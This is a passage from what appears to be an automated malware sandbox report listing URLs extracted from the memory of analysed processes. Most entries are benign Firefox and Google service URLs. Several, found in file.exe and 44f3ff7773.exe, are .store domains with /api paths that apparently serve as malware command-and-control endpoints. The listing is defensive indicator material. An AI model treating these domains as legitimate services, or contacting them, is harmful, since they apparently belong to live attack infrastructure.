00000025.00000002.2558464601.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000004.00000003.1418926227.0000000001503000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1419009654.0000000001507000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1397061677.0000000001502000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api&
Source: file.exe, 00000004.00000003.1386423016.0000000001507000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1386387939.0000000001505000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api0
Source: 44f3ff7773.exe, 00000012.00000002.2565868768.0000000001356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiK
Source: 44f3ff7773.exe, 00000012.00000003.2387650313.000000000135E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiP
Source: file.exe, 00000004.00000003.1475372451.00000000014DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiav
Source: file.exe, 00000004.00000003.1418873549.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/c
Source: 44f3ff7773.exe, 00000012.00000002.2611102412.0000000005A41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/e
Source: 44f3ff7773.exe, 00000012.00000003.2387375730.0000000005A35000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/f
Source: 44f3ff7773.exe, 00000012.00000003.2426424977.000000000134D000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2449188382.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2414244224.0000000001348000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2449087821.0000000005A39000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apicryptPrimitives.dll
Source: file.exe, 00000004.00000003.1418943426.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1397112437.00000000014F8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/apider://%ProgramFiles%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6559A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource://pdf.js/PdfJsDefaultPreferences.sys
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6559A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000003.2529759445.0000019A65833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2871744264.0000019A65838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2533285519.0000019A6582A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjshttps://e.mail.ru/cgi
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.000000000178B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store/
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.000000000178B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store/api
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.000000000178B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store/apiN
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store:443/api
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://presticitpo.store:443/apir
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.comnsIExternalProtocolServicebound
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2713614252.0000019A64280000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/google-analytics-legacy.jsshims/mochitest-shim-1.js
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/shims/google-analytics-legacy.jsshims/mochitest-shim-1.jsWeb
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.comcreateContentPrincipalFromOriginupgradeTabsProgressListenerremoveTabs
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svgFileUtils_closeSafeFileOutputStream
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsCannot
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelresource:///modules/sessionstore/StartupPerforma
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 44f3ff7773.exe, 00000012.00000003.2389001617.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.orgpictureinpicture.toggle_enabledbrowser.tabs.drawInTitlebarmigrateXULAttri
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://thumbystriw.store/
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://thumbystriw.store/F
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A655E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000024.00000002.2897364373.0000019A67D98000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000024.00000002.2590012290.0000019A639AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904725112.0000019A68B30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.2521827105.0000019A67A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2523353527.0000019A67A61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2522197584.0000019A67A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2521341428.0000019A67C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://2aec2d48-9127-47e3-8a78-71ba3773e
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000024.00000002.2897364373.0000019A67D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeServiceBoostrapScope
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904725112.0000019A68B30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.2521827105.0000019A67A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2523353527.0000019A67A61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2522197584.0000019A67A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2521341428.0000019A67C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchprincipalToInherit_base64q=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
